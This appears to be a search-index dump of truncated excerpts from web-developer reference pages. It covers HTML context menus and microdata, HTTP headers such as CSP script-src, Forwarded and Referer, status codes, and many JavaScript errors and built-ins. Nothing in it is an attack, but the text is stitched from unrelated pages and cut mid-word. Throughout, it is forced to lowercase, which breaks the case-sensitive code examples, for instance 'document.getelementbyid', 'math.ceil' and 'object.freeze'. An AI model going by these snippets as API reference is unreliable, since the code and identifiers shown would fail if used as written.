... </li> <li contextmenu="changefont" id="fontsizing"> on this specific list element, you can change the size of the text by using the "increase/decrease font" actions from your context menu </li> <menu type="context" id="changefont"> <menuitem label="increase font" onclick="incfont()"></menuitem> <menuitem label="decrease font" onclick="decfont()"></menuitem> </menu> <li contextmenu="changeimage" id="changeimage"> on the image below, you can fire the "change image" action in your context menu.<br /> <img src="https://udn.realityripple.com/samples/a2/b601bdfc0c.png" contextmenu="changeimage" id="promobutton" /> <menu type="context" id="changeimage"> <menuitem label="change image" onclick="changeimage()">...
...</menuitem> </menu> </li> </ol> </body> javascript function shareviatwitter() { window.open("https://twitter.com/intent/tweet?text=" + "hurray!
... i am learning contextmenu from mdn via mozilla"); } function shareviafacebook() { window.open("https://facebook.com/sharer/sharer.php?u=" + "https://developer.mozilla.org/en/html/element/using_html_context_menus"); } function incfont() { document.getelementbyid("fontsizing").style.fontsize = "larger"; } function decfont() { document.getelementbyid("fontsizing").style.fontsize = "smaller"; } function changeimage() { var index = math.ceil(math.random() * 39 + 1); document.images[0].src = "https://developer.mozilla.org/media/img/promote/promobutton_mdn" + index + ".png"; } result specifications specification status comment html 5.1the definition of 'contextmenu' in that specification.
itemtype - HTML: Hypertext Markup Language
simple example html <div itemscope itemtype="http://schema.org/product"> <span itemprop="brand">acme</span> <span itemprop="name">executive anvil</span> </div> structured data itemscope itemtype schema.org product itemprop name executive anvil itemprop brand [thing] itemprop name acme example html <div itemscope itemtype="http://schema.org/product"> <span itemprop="bra...
...nd">acme<br></span> <span itemprop="name">executive anvil<br></span> <img itemprop="image" src="https://udn.realityripple.com/samples/61/fa8ee62aba.png" width="50" height="50" alt="executive anvil logo" /><br> <span itemprop="description">sleeker than acme's classic anvil, the executive anvil is perfect for the business traveler looking for something to drop from a height.
... <br> </span> product #: <span itemprop="mpn">925872<br></span> <span itemprop="aggregaterating" itemscope itemtype="http://schema.org/aggregaterating"> rating: <span itemprop="ratingvalue">4.4</span> stars, based on <span itemprop="reviewcount">89 </span> reviews </span><p> <span itemprop="offers" itemscope itemtype="http://schema.org/offer"> regular price: $179.99<br> <meta itemprop="pricecurrency" content="usd" /> <span itemprop="price">sale price: $119.99<br></span> (sale ends <time itemprop="pricevaliduntil" datetime="2020-11-05"> 5 november!</time>)<br> available from: <span itemprop="seller" itemscope itemtype="http://schema.org/organization"> <span itemprop="name">executive objects<br></span> </s...
...pan> condition: <link itemprop="itemcondition" href="http://schema.org/usedcondition"/>previously owned, in excellent condition<br> <link itemprop="availability" href="http://schema.org/instock"/>in stock!
x-ms-acceleratorkey - HTML: Hypertext Markup Language
syntax <button x-ms-acceleratorkey="[explanation of key combination]">…</button> value the accelerator key combination.
... for example: "ctrl+b" for a combination of the ctrl and b keys.
... "j" for just the j key.
... "ctrl+; then k" for a shortcut similar to fogbugz’s old keyboard mode.
Content-Language - HTTP
for example, if "content-language: de-de" is set, it says that the document is intended for german language speakers (however, it doesn't indicate the document is written in german.
...each language tag is a sequence of one or more case-insensitive subtags, each separated by a hyphen character ("-", %x2d).
... in most cases, a language tag consists of a primary language subtag that identifies a broad family of related languages (e.g., "en" = english), which is optionally followed by a series of subtags that refine or narrow that language's range (e.g., "en-ca" = the variety of english as communicated in canada).
... <html lang="de"> do not use this meta element like this for stating a document language: <!-- /!\ this is bad practice --> <meta http-equiv="content-language" content="de"> indicating a target audience for a resource the content-language header is used to specify the intended audience of the page, and can indicate that this is more than one language.
CSP: script-src - HTTP
examples violation case given this csp header: content-security-policy: script-src https://example.com/ the following script is blocked and won't be loaded or executed: <script src="https://not-example.com/js/library.js"></script> note that inline event handlers are blocked as well: <button id="btn" onclick="dosomething()"> you should replace them with addeventlistener calls: document.getelementbyid("btn").addeventlistener('click', dosomething); unsafe inline script note: disallowing inline styles and inline scripts is one of the biggest security wins csp provides.
... content-security-policy: script-src 'unsafe-inline'; the above content security policy will allow inline <script> elements <script> var inline = 1; </script> you can use a nonce-source to only allow specific inline script blocks: content-security-policy: script-src 'nonce-2726c7f26c' you will have to set the same nonce on the <script> element: <script nonce="2726c7f26c"> var inline = 1; </script> alternatively, you can create hashes from your inline scripts.
...if 'unsafe-eval' isn't specified with the script-src directive, the following methods are blocked and won't have any effect: eval() function() when passing a string literal like to methods like: window.settimeout("alert(\"hello world!\");", 500); window.settimeout window.setinterval window.setimmediate window.execscript (ie < 11 only) strict-dynamic the 'strict-dynamic' source expression specifies that the trust explicitly given to a script present in the markup, by accompanying it with a nonce or a hash, shall be propagated to all the scripts loaded by that root script.
...for example, a policy such as script-src 'strict-dynamic' 'nonce-r4nd0m' https://whitelisted.com/ would allow loading of a root script with <script nonce="r4nd0m" src="https://example.com/loader.js"> and propagate that trust to any script loaded by loader.js, but disallow loading scripts from https://whitelisted.com/ unless accompanied by a nonce or loaded from a trusted script.
Forwarded - HTTP
this can be either: an ip address (v4 or v6, optionally with a port, and ipv6 quoted and enclosed in square brackets), an obfuscated identifier (such as "_hidden" or "_secret"), or "unknown" when the preceding entity is not known (and you still want to indicate that forwarding of the request was made).
... proto=<http|https> indicates which protocol was used to make the request (typically "http" or "https").
... examples using the forwarded header forwarded: for="_mdn" # case insensitive forwarded: for="[2001:db8:cafe::17]:4711" # separated by semicolon forwarded: for=192.0.2.60;proto=http;by=203.0.113.43 # multiple values can be appended using a comma forwarded: for=192.0.2.43, for=198.51.100.17 transitioning from x-forwarded-for to forwarded if your application, server, or proxy supports the standardized forwarded header, the x-forwarded-for header can be replaced.
... x-forwarded-for: 123.34.567.89 forwarded: for=123.34.567.89 x-forwarded-for: 192.0.2.43, "[2001:db8:cafe::17]" forwarded: for=192.0.2.43, for="[2001:db8:cafe::17]" specifications specification title rfc 7239, section 4: forwarded forwarded http extension ...
Large-Allocation - HTTP
the document with the large-allocation header was loaded in a window which was opened by window.open(), <a target="_blank"> or other similar methods without rel="noopener" or the "noopener" feature being set.
... the document with the large-allocation header has opened another window with window.open(), <a target="_blank"> or other similar methods without rel="noopener" or the "noopener" feature being set.
...this check can be disabled with the "dom.largeallocation.
... forceenable" boolean preferece in about:config.
Referer - HTTP
WebHTTPHeadersReferer
note that referer is actually a misspelling of the word "referrer".
... a referer header is not sent by browsers if: the referring resource is a local "file" or "data" uri.
..."#section") and userinfo (i.e.
... "username:password" in "https://username:password@example.com/foo/bar/") are not included.
WWW-Authenticate - HTTP
header type response header forbidden header name no syntax www-authenticate: <type> realm=<realm>[, charset="utf-8"] directives <type> authentication type.
... a common type is "basic".
...the only allowed value is the case insensitive string "utf-8".
... examples typically, a server response contains a www-authenticate header that looks like these: www-authenticate: basic www-authenticate: basic realm="access to the staging site", charset="utf-8" see also http authentication for examples on how to configure apache or nginx servers to password protect your site with http basic authentication.
PATCH - HTTP
WebHTTPMethodsPATCH
patch is somewhat analogous to the "update" concept found in crud (in general, http is different than crud, and the two should not be confused).
...the word "idempotent" means that any number of repeated, identical requests will leave the resource in the same state.
... request has body yes successful response has body yes safe no idempotent no cacheable no allowed in html forms no syntax patch /file.txt http/1.1 example request patch /file.txt http/1.1 host: www.example.com content-type: application/example if-match: "e0023aa4e" content-length: 100 [description of changes] response a successful response is indicated by any 2xx status code.
... http/1.1 204 no content content-location: /file.txt etag: "e0023aa4f" specifications specification title rfc 5789: patch patch method for http ...
Protocol upgrade mechanism - HTTP
for example, opening a websocket connection is as simple as: websocket = new websocket("ws://destination.server.ext", "optionalprotocol"); the websocket() constructor does all the work of creating an initial http/1.1 connection then handling the handshaking and upgrade process for you.
... you can also use the "wss://" url scheme to open a secure websocket connection.
...in essence, then, this key simply confirms that "yes, i really mean to open a websocket connection." this header is automatically added by clients that choose to use it; it cannot be added using the xmlhttprequest.setrequestheader() method.
... sec-websocket-accept: hash hash if a sec-websocket-key header was provided, the value of this header is computed by taking the value of the key, concatenating the string "258eafa5-e914-47da-95ca-c5ab0dc85b11" to it, taking the sha-1 hash of that concatenated string, resulting in a 20-byte value.
HTTP response status codes - HTTP
WebHTTPStatus
except for that specific case, the "200 ok" response is preferred to this status.
... 401 unauthorized although the http standard specifies "unauthorized", semantically this response means "unauthenticated".
...the http specification intends this status code to be used for "limited-time, promotional services".
... 429 too many requests the user has sent too many requests in a given amount of time ("rate limiting").
Introduction - JavaScript
to open the web console (ctrl+shift+i on windows and linux or cmd-option-k on mac), open the tools menu in firefox, and select "developer ▶ web console".
...for the sake of simplicity, it can be imagined that every time something is entered into the console, it is actually surrounded by console.log around eval, like so: function greetme(yourname) { alert("hello " + yourname) } console.log(eval('3 + 5')) multi-line input in the web console the single-line input mode of the web console is great for quick testing of javascript expressions, but although you can execute multiple lines, it's not very convenient for that.
... hello world to get started with writing javascript, open the web console in multi-line mode, and write your first "hello world" javascript code: (function(){ "use strict"; /* start of your code */ function greetme(yourname) { alert('hello ' + yourname); } greetme('world'); /* end of your code */ })(); press cmd+enter or ctrl+enter (or click the run button) to watch it unfold in your browser!
... but for now, remember to always include the (function(){"use strict"; before your code, and add })(); to the end of your code.
Loops and iteration - JavaScript
for example, the idea "go five steps to the east" could be expressed this way as a loop: for (let step = 0; step < 5; step++) { // runs 5 times, with values of step 0 through 4.
... <form name="selectform"> <p> <label for="musictypes">choose some music types, then click the button below:</label> <select id="musictypes" name="musictypes" multiple="multiple"> <option selected="selected">r&b</option> <option>jazz</option> <option>blues</option> <option>new age</option> <option>classical</option> <option>opera</option> </select> </p> <p><...
...input id="btn" type="button" value="how many are selected?" /></p> </form> <script> function howmany(selectobject) { let numberselected = 0; for (let i = 0; i < selectobject.options.length; i++) { if (selectobject.options[i].selected) { numberselected++; } } return numberselected; } let btn = document.getelementbyid('btn'); btn.addeventlistener('click', function() { alert('number of options selected: ' + howmany(document.selectform.musictypes)); }); </script> do...while statement the do...while statement repeats until a specified condition evaluates to false.
...while for...in iterates over property names, for...of iterates over property values: const arr = [3, 5, 7]; arr.foo = 'hello'; for (let i in arr) { console.log(i); // logs "0", "1", "2", "foo" } for (let i of arr) { console.log(i); // logs 3, 5, 7 } « previousnext » ...
Private class fields - JavaScript
ield static basepublicstaticmethod() { this.#private_static_field = 42 return this.#private_static_field } } class subclass extends baseclasswithprivatestaticfield { } let error = null try { subclass.basepublicstaticmethod() } catch(e) { error = e} console.assert(error instanceof typeerror) private instance fields private instance fields are declared with # names (pronounced "hash names"), which are identifiers prefixed with #.
...in the following example this refers to the derived class (not the base class) when we try to call derived.publicstaticmethod2(), and thus exhibits the same "provenance restriction" as mentioned above: class base { static #privatestaticmethod() { return 42; } static publicstaticmethod1() { return base.#privatestaticmethod(); } static publicstaticmethod2() { return this.#privatestaticmethod(); } } class derived extends base {} console.log(derived.publicstaticmethod1()); // 42 console.log(derived.publics...
... class classwithprivatemethod { #privatemethod() { return 'hello world' } getprivatemessage() { return this.#privatemethod() } } const instance = new classwithprivatemethod() console.log(instance.getprivatemessage()) // expected output: "hello worl​d" private instance methods may be generator, async, or async generator functions.
... private getters and setters are also possible: class classwithprivateaccessor { #message get #decoratedmessage() { return `✨${this.#message}✨` } set #decoratedmessage(msg) { this.#message = msg } constructor() { this.#decoratedmessage = 'hello world' console.log(this.#decoratedmessage) } } new classwithprivateaccessor(); // expected output: "✨hello worl​d✨" specifications specification public and private instance fieldsthe definition of 'fielddefinition' in that specification.
constructor - JavaScript
tor() {} if your class is a derived class, the default constructor calls the parent constructor, passing along any arguments that were provided: constructor(...args) { super(...args); } that enables code like this to work: class validationerror extends error { printcustomermessage() { return `validation failed :-( (details: ${this.message})`; } } try { throw new validationerror("not a valid phone number"); } catch (error) { if (error instanceof validationerror) { console.log(error.name); // this is error instead of validationerror!
...for example: class validationerror extends error { constructor(message) { super(message); // call parent class constructor this.name = 'validationerror'; this.code = '42'; } printcustomermessage() { return `validation failed :-( (details: ${this.message}, code: ${this.code})`; } } try { throw new validationerror("not a valid phone number"); } catch (error) { if (error instanceof validationerror) { console.log(error.name); // now this is validationerror!
... console.log(error.printcustomermessage()); } else { console.log('unknown error', error); throw error; } } there can be only one special method with the name "constructor" in a class.
... class polygon { constructor() { this.name = "polygon"; } } class square extends polygon { constructor() { super(); } } class rectangle {} object.setprototypeof(square.prototype, rectangle.prototype); console.log(object.getprototypeof(square.prototype) === polygon.prototype); //false console.log(object.getprototypeof(square.prototype) === rectangle.prototype); //true let newinstance = new square(); console.log(newinst...
SyntaxError: Using //@ to indicate sourceURL pragmas is deprecated. Use //# instead - JavaScript
the javascript warning "using //@ to indicate sourceurl pragmas is deprecated.
... use //# instead" occurs when there is a deprecated source map syntax in a javascript source.
... examples deprecated syntax syntax with the "@" sign is deprecated.
... //@ sourcemappingurl=http://example.com/path/to/your/sourcemap.map standard syntax use the "#" sign instead.
ReferenceError: invalid assignment left-hand side - JavaScript
the javascript exception "invalid assignment left-hand side" occurs when there was an unexpected assignment somewhere.
... for example, a single "=" sign was used instead of "==" or "===".
...while a single "=" sign assigns a value to a variable, the "==" or "===" operators compare a value.
... examples typical invalid assignments if (math.pi = 3 || math.pi = 4) { console.log('no way!'); } // referenceerror: invalid assignment left-hand side var str = 'hello, ' += 'is it me ' += 'you\'re looking for?'; // referenceerror: invalid assignment left-hand side in the if statement, you want to use a comparison operator ("=="), and for the string concatenation, the plus ("+") operator is needed.
SyntaxError: for-in loop head declarations may not have initializers - JavaScript
the javascript strict mode-only exception "for-in loop head declarations may not have initializers" occurs when the head of a for...in contains an initializer expression, such as |for (var i = 0 in obj)|.
... examples this example throws a syntaxerror: "use strict"; var obj = {a: 1, b: 2, c: 3 }; for (var i = 0 in obj) { console.log(obj[i]); } // syntaxerror: for-in loop head declarations may not have initializers valid for-in loop you can remove the initializer (i = 0) in the head of the for-in loop.
... "use strict"; var obj = {a: 1, b: 2, c: 3 }; for (var i in obj) { console.log(obj[i]); } array iteration the for...in loop shouldn't be used for array iteration.
...the for loop allows you to set an initializer then as well: var arr = [ "a", "b", "c" ] for (var i = 2; i < arr.length; i++) { console.log(arr[i]); } // "c" ...
URIError: malformed URI sequence - JavaScript
the javascript exception "malformed uri sequence" occurs when uri encoding or decoding wasn't successful.
...an urierror will be thrown if there is an attempt to encode a surrogate which is not part of a high-low pair, for example: encodeuri('\ud800'); // "urierror: malformed uri sequence" encodeuri('\udfff'); // "urierror: malformed uri sequence" a high-low pair is ok.
... for example: encodeuri('\ud800\udfff'); // "%f0%90%8f%bf" decoding decoding replaces each escape sequence in the encoded uri component with the character that it represents.
... if there isn't such a character, an error will be thrown: decodeuricomponent('%e0%a4%a'); // "urierror: malformed uri sequence" with proper input, this should usually look like something like this: decodeuricomponent('javascript_%d1%88%d0%b5%d0%bb%d0%bb%d1%8b'); // "javascript_шеллы" ...
SyntaxError: Malformed formal parameter - JavaScript
the javascript exception "malformed formal parameter" occurs when the argument list of a function() constructor call is invalid somehow.
..."formal parameter" is a fancy way of saying "function argument".
... and we use the word "malformed" because all firefox engineers are huge fans of 19th-century gothic horror novels.
... examples invalid cases var f = function('x y', 'return x + y;'); // syntaxerror (missing a comma) var f = function('x,', 'return x;'); // syntaxerror (extraneous comma) var f = function(37, "alert('ok')"); // syntaxerror (numbers can't be argument names) valid cases var f = function('x, y', 'return x + y;'); // correctly punctuated var f = function('x', 'return x;'); // if you can, avoid using function - this is much faster var f = function(x) { return x; }; ...
SyntaxError: missing ) after argument list - JavaScript
the javascript exception "missing ) after argument list" occurs when there is an error with how a function is called.
... examples because there is no "+" operator to concatenate the string, javascript expects the argument for the log function to be just "pi: ".
... console.log('pi: ' math.pi); // syntaxerror: missing ) after argument list you can correct the log call by adding the "+" operator: console.log('pi: ' + math.pi); // "pi: 3.141592653589793" unterminated strings console.log('"java" + "script" = \"' + 'java' + 'script\"); // syntaxerror: missing ) after argument list here javascript thinks that you meant to have ); inside the string and ignores it, and it ends up not knowing that you meant the ); to end the function console.log.
... to fix this, we could put a' after the "script" string: console.log('"java" + "script" = \"' + 'java' + 'script\"'); // '"java" + "script" = "javascript"' ...
TypeError: Reduce of empty array with no initial value - JavaScript
the javascript exception "reduce of empty array with no initial value" occurs when a reduce function is used.
... similarly, the same issue can happen if there is a typo in a selector, or an unexpected number of elements in a list: var names = document.getelementsbyclassname("names"); var name_list = array.prototype.reduce.call(names, (acc, name) => acc + ", " + name); valid cases these problems can be solved in two different ways.
... var names = document.getelementsbyclassname("names"); var name_list1 = ""; if (names1.length >= 1) name_list1 = array.prototype.reduce.call(names, (acc, name) => acc + ", " + name); // name_list1 == "" when names is empty.
... var name_list2 = array.prototype.reduce.call(names, (acc, name) => { if (acc == "") // initial value return name; return acc + ", " + name; }, ""); // name_list2 == "" when names is empty.
InternalError: too much recursion - JavaScript
the javascript exception "too much recursion" or "maximum call stack size exceeded" occurs when there are too many function calls, or a function is missing a base case.
... function loop(x) { if (x >= 10) // "x >= 10" is the exit condition return; // do stuff loop(x + 1); // the recursive call } loop(0); setting this condition to an extremely high value, won't work: function loop(x) { if (x >= 1000000000000) return; // do stuff loop(x + 1); } loop(0); // internalerror: too much recursion this recursive function is missing a base case.
... function loop(x) { // the base case is missing loop(x + 1); // recursive call } loop(0); // internalerror: too much recursion class error: too much recursion class person{ constructor(){} set name(name){ this.name = name; // recursive call } } const tony = new person(); tony.name = "tonisha"; // internalerror: too much recursion when a value is assigned to the property name (this.name = name;) javascript needs to set that property.
... class person{ constructor(){} set name(name){ this._name = name; } get name(){ return this._name; } } const tony = new person(); tony.name = "tonisha"; console.log(tony); ...
SyntaxError: function statement requires a name - JavaScript
the javascript exception "function statement requires a name" occurs when there is a function statement in the code that requires a name.
...this doesn't work: function greeter() { german: function () { return "moin"; } } // syntaxerror: function statement requires a name this would work, for example: function greeter() { german: function g() { return "moin"; } } object methods if you intended to create a method of an object, you will need to create an object.
... var greeter = { german: function () { return "moin"; } }; callback syntax also, check your syntax when using callbacks.
... promise.then( function() { console.log("success"); }); function() { console.log("error"); } // syntaxerror: function statement requires a name correct would be: promise.then( function() { console.log("success"); }, function() { console.log("error"); } ); ...
SyntaxError: unterminated string literal - JavaScript
the javascript error "unterminated string literal" occurs when there is an unterminated string somewhere.
... string literals must be enclosed by single (') or double (") quotes.
...string literals must be enclosed by single (') or double (") quotes.
...the + operator variant looks like this: var longstring = 'this is a very long string which needs ' + 'to wrap across multiple lines because ' + 'otherwise my code is unreadable.'; or you can use the backslash character ("\") at the end of each line to indicate that the string will continue on the next line.
TypeError: invalid 'instanceof' operand 'x' - JavaScript
the javascript exception "invalid 'instanceof' operand" occurs when the right hand side operands of the instanceof operator isn't used with a constructor object, i.e.
... message typeerror: invalid 'instanceof' operand "x" (firefox) typeerror: "x" is not a function (firefox) typeerror: right-hand side of 'instanceof' is not an object (chrome) typeerror: right-hand side of 'instanceof' is not callable (chrome) error type typeerror what went wrong?
... examples instanceof vs typeof "test" instanceof ""; // typeerror: invalid 'instanceof' operand "" 42 instanceof 0; // typeerror: invalid 'instanceof' operand 0 function foo() {} var f = foo(); // foo() is called and returns undefined var x = new foo(); x instanceof f; // typeerror: invalid 'instanceof' operand f x instanceof x; // typeerror: x is not a function to fix these errors, you will either need to replace the instanceof operator with the typeof operator, or to make sure you use the function name, instead of the result of its evaluation.
... typeof "test" == "string"; // true typeof 42 == "number" // true function foo() {} var f = foo; // do not call foo.
getter - JavaScript
const obj = { log: ['example','test'], get latest() { if (this.log.length === 0) return undefined; return this.log[this.log.length - 1]; } } console.log(obj.latest); // "test" note that attempting to assign a value to latest will not change it.
... const o = {a: 0}; object.defineproperty(o, 'b', { get: function() { return this.a + 1; } }); console.log(o.b) // runs the getter, which yields a + 1 (which is 1) using a computed property name const expr = 'foo'; const obj = { get [expr]() { return 'bar'; } }; console.log(obj.foo); // "bar" smart / self-overwriting / lazy getters getters give you a way to define a property of an object, but they do not calculate the property's value until it is accessed.
... an additional optimization technique to lazify or delay the calculation of a property value and cache it for later access are smart (or "memoized") getters.
... class example { get hello() { return 'world'; } } const obj = new example(); console.log(obj.hello); // "world" console.log(object.getownpropertydescriptor(obj, 'hello')); // undefined console.log( object.getownpropertydescriptor( object.getprototypeof(obj), 'hello' ) ); // { configurable: true, enumerable: false, get: function get hello() { return 'world'; }, set: undefined } specifications specification ecmascript (ecma-262)the definition of 'method definitions' in...
Array.prototype.map() - JavaScript
let lenvalue be the result of calling the get internal // method of o with the argument "length".
... consider: ["1", "2", "3"].map(parseint) while one might expect [1, 2, 3], the actual result is [1, nan, nan].
... here is a concise example of the iteration steps: // parseint(string, radix) -> map(parseint(value, index)) /* first iteration (index is 0): */ parseint("1", 0) // 1 /* second iteration (index is 1): */ parseint("2", 1) // nan /* third iteration (index is 2): */ parseint("3", 2) // nan then let's talk about solutions.
... function returnint(element) { return parseint(element, 10) } ['1', '2', '3'].map(returnint); // [1, 2, 3] // actual result is an array of numbers (as expected) // same as above, but using the concise arrow function syntax ['1', '2', '3'].map( str => parseint(str) ) // a simpler way to achieve the above, while avoiding the "gotcha": ['1', '2', '3'].map(number) // [1, 2, 3] // but unlike parseint(), number() will also return a float or (resolved) exponential notation: ['1.1', '2.2e2', '3e300'].map(number) // [1.1, 220, 3e+300] // for comparison, if we use parseint() on the array above: ['1.1', '2.2e2', '3e300'].map( str => parseint(str) ) // [1, 2, 3] one alternative output of the map method being called with parseint as a parameter runs as follows: let xs = ['10', '10', '10'] ...
BigInt - JavaScript
const thebiggestint = 9007199254740991n const alsohuge = bigint(9007199254740991) // ↪ 9007199254740991n const hugestring = bigint("9007199254740991") // ↪ 9007199254740991n const hugehex = bigint("0x1fffffffffffff") // ↪ 9007199254740991n const hugebin = bigint("0b11111111111111111111111111111111111111111111111111111") // ↪ 9007199254740991n bigint is similar to number in some ways, but also differs in a few key matters — it cannot be used with methods in the built-in math object and cannot be mixed with instances...
... type information when tested against typeof, a bigint will give "bigint": typeof 1n === 'bigint' // true typeof bigint('1') === 'bigint' // true when wrapped in an object, a bigint will be considered as a normal "object" type: typeof object(1n) === 'object' // true operators the following operators may be used with bigints (or object-wrapped bigints): +, *, -, **, %.
... if (0n) { console.log('hello from the if!') } else { console.log('hello from the else!') } // ↪ "hello from the else!" 0n || 12n // ↪ 12n 0n && 12n // ↪ 0n boolean(0n) // ↪ false boolean(12n) // ↪ true !12n // ↪ false !0n // ↪ true constructor bigint() creates a new bigint value.
...however, you can implement your own tojson method if needed: bigint.prototype.tojson = function() { return this.tostring() } instead of throwing, json.stringify now produces a string like this: json.stringify(bigint(1)) // '"1"' examples calculating primes // returns true if passed bigint is a prime number function isprime(p) { for (let i = 2n; i * i <= p; i++) { if (p % i === 0n) return false; } return true } // takes a bigint as an argument, returns nth prime number as bigint function nthprime(nth) { let maybeprime = 2n let prime = 0n while (nth >= 0n) { if (isprime(maybeprime)) { nth-...
Function.prototype.toString() - JavaScript
the tostring() method will throw a typeerror exception ("function.prototype.tostring called on incompatible object"), if its this value object is not a function object.
... function.prototype.tostring.call('foo'); // typeerror if the tostring() method is called on built-in function objects or a function created by function.prototype.bind, tostring() returns a native function string which looks like "function () {\n [native code]\n}" if the tostring() method is called on a function created by the function constructor, tostring() returns the source code of a synthesized function declaration named "anonymous" using the provided parameters and function body.
... examples comparing actual source code and tostring results function function.prototype.tostring result function f(){} "function f(){}" class a { a(){} } "class a { a(){} }" function* g(){} "function* g(){}" a => a "a => a" ({ a(){} }.a) "a(){}" ({ *a(){} }.a) "*a(){}" ({ [0](){} }[0]) "[0](){}" object.getownpropertydescriptor({ get a(){} }, "a").get "get a(){}" object.getownpropertydescriptor({ set a(x){} }, "a").set "set a(x){}" function.prototype.tostring ...
... "function tostring() { [native code] }" (function f(){}.bind(0)) "function () { [native code] }" function("a", "b") "function anonymous(a\n) {\nb\n}" specifications specification ecmascript (ecma-262)the definition of 'function.prototype.tostring' in that specification.
Intl.DateTimeFormat.prototype.format() - JavaScript
examples using format use the format getter function for formatting a single date, here for serbia: var options = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; var datetimeformat = new intl.datetimeformat('sr-rs', options); console.log(datetimeformat.format(new date())); // → "недеља, 7.
... април 2013." using format with map use the format getter function for formatting all dates in an array.
... var a = [new date(2012, 08), new date(2012, 11), new date(2012, 03)]; var options = { year: 'numeric', month: 'long' }; var datetimeformat = new intl.datetimeformat('pt-br', options); var formatted = a.map(datetimeformat.format); console.log(formatted.join('; ')); // → "setembro de 2012; dezembro de 2012; abril de 2012" avoid comparing formatted date values to static values most of the time, the formatting returned by format() is consistent.
... for this reason you cannot expect to be able to compare the results of format() to a static value: let d = new date("2019-01-01t00:00:00.000000z"); let formatteddate = intl.datetimeformat(undefined, { year: 'numeric', month: 'numeric', day: 'numeric', hour: 'numeric', minute: 'numeric', second: 'numeric' }).format(d); "1.1.2019, 01:00:00" === formatteddate; // true in firefox and others // false in ie and edge note: see also this stackoverflow thread for more details and examples.
Intl.ListFormat() constructor - JavaScript
possible values are "lookup" and "best fit"; the default is "best fit".
...possible values are "conjunction" that stands for "and"-based lists (default, e.g., a, b, and c), or "disjunction" that stands for "or"-based lists (e.g., a, b, or c).
... "unit" stands for lists of values with units (e.g., 5 pounds, 12 ounces).
...possible values are: "long" (default, e.g., a, b, and c); "short" (e.g., a, b, c), or "narrow" (e.g., a b c).
Intl.RelativeTimeFormat.prototype.formatToParts() - JavaScript
possible values are: "year", "quarter", "month", "week", "day", "hour", "minute", "second".
... description the intl.relativetimeformat.prototype.formattoparts method is a version of the format method which it returns an array of objects which represent "parts" of the object, separating the formatted number into its consituent parts and separating it from other surrounding text.
...if a "part" came from numberformat, it will have a unit property which indicates the unit being formatted; literals which are part of the larger frame will not have this property.
... examples using formattoparts const rtf = new intl.relativetimeformat("en", { numeric: "auto" }); // format relative time using the day unit rtf.formattoparts(-1, "day"); // > [{ type: "literal", value: "yesterday"}] rtf.formattoparts(100, "day"); // > [{ type: "literal", value: "in " }, // > { type: "integer", value: "100", unit: "day" }, // > { type: "literal", value: " days" }] specifications specification status comment ecmascript internationalization api (ecma-402)the definition of 'relativetimeformat.formattoparts()' in that specification.
Intl.RelativeTimeFormat - JavaScript
const rtf = new intl.relativetimeformat("en", { localematcher: "best fit", // other values: "lookup" numeric: "always", // other values: "auto" style: "long", // other values: "short" or "narrow" }); // format relative time using negative value (-1).
... rtf.format(-1, "day"); // > "1 day ago" // format relative time using positive value (1).
... rtf.format(1, "day"); // > "in 1 day" using formattoparts the following example shows how to create a relative time formatter returning formatted parts const rtf = new intl.relativetimeformat("en", { numeric: "auto" }); // format relative time using the day unit.
... rtf.formattoparts(-1, "day"); // > [{ type: "literal", value: "yesterday"}] rtf.formattoparts(100, "day"); // > [{ type: "literal", value: "in " }, // > { type: "integer", value: "100", unit: "day" }, // > { type: "literal", value: " days" }] specifications specification status comment ecmascript internationalization api (ecma-402)the definition of 'relativetimeformat' in that specification.
Object.defineProperty() - JavaScript
// strict mode (function() { 'use strict'; var o = {}; object.defineproperty(o, 'b', { value: 2, writable: false }); o.b = 3; // throws typeerror: "b" is read-only return o.b; // returns 2 without the line above }()); as seen in the example, trying to write into the non-writable property doesn't change it but doesn't throw an error either.
... function myclass() { } var value; object.defineproperty(myclass.prototype, "x", { get() { return value; }, set(x) { value = x; } }); var a = new myclass(); var b = new myclass(); a.x = 1; console.log(b.x); // 1 this can be fixed by storing the value in another property.
... function myclass() { } object.defineproperty(myclass.prototype, "x", { get() { return this.stored_x; }, set(x) { this.stored_x = x; } }); var a = new myclass(); var b = new myclass(); a.x = 1; console.log(b.x); // undefined unlike accessor properties, value properties are always set on the object itself, not on a prototype.
... function myclass() { } myclass.prototype.x = 1; object.defineproperty(myclass.prototype, "y", { writable: false, value: 1 }); var a = new myclass(); a.x = 2; console.log(a.x); // 2 console.log(myclass.prototype.x); // 1 a.y = 2; // ignored, throws in strict mode console.log(a.y); // 1 console.log(myclass.prototype.y); // 1 specifications specification ecmascript (ecma-262)the definition of 'object.defineproperty' in that specification.
Object.freeze() - JavaScript
a[0] = 1; // fails silently // in strict mode such attempt will throw a typeerror function fail() { "use strict" a[0] = 1; } fail(); // attempted to push a.push(2); // throws a typeerror the object being frozen is immutable.
... what is "shallow freeze"?
... var employee = { name: "mayank", designation: "developer", address: { street: "rohini", city: "delhi" } }; object.freeze(employee); employee.name = "dummy"; // fails silently in non-strict mode employee.address.city = "noida"; // attributes of child object can be modified console.log(employee.address.city) // output: "noida" to make an object immutable, recursively freeze each property which is of type...
... function deepfreeze(object) { // retrieve the property names defined on object var propnames = object.getownpropertynames(object); // freeze properties before freezing self for (let name of propnames) { let value = object[name]; if(value && typeof value === "object") { deepfreeze(value); } } return object.freeze(object); } var obj2 = { internal: { a: null } }; deepfreeze(obj2); obj2.internal.a = 'anothervalue'; // fails silently in non-strict mode obj2.internal.a; // null specifications specification ecmascript (ecma-262)the definition of 'object.freeze' in that specification.
Object.getOwnPropertyNames() - JavaScript
object.getownpropertynames('foo'); // typeerror: "foo" is not an object (es5 code) object.getownpropertynames('foo'); // ["0", "1", "2", "length"] (es2015 code) examples using object.getownpropertynames() var arr = ['a', 'b', 'c']; console.log(object.getownpropertynames(arr).sort()); // .sort() is an array method.
... // logs ["0", "1", "2", "length"] // array-like object var obj = { 0: 'a', 1: 'b', 2: 'c' }; console.log(object.getownpropertynames(obj).sort()); // .sort() is an array method.
... // logs ["0", "1", "2"] // logging property names and values using array.foreach object.getownpropertynames(obj).foreach( function (val, idx, array) { console.log(val + ' -> ' + obj[val]); } ); // logs // 0 -> a // 1 -> b // 2 -> c // non-enumerable property var my_obj = object.create({}, { getfoo: { value: function() { return this.foo; }, enumerable: false } }); my_obj.foo = 1; console.log(object.getownpropertynames(my_obj).sort()); // logs ["foo", "getfoo"] if you want only the enumerable properties, see object.keys() or use a for...in loop (note that this will also return enumerable properties found along the prototype chain for the object unless the latter is filtered with hasownproperty()).
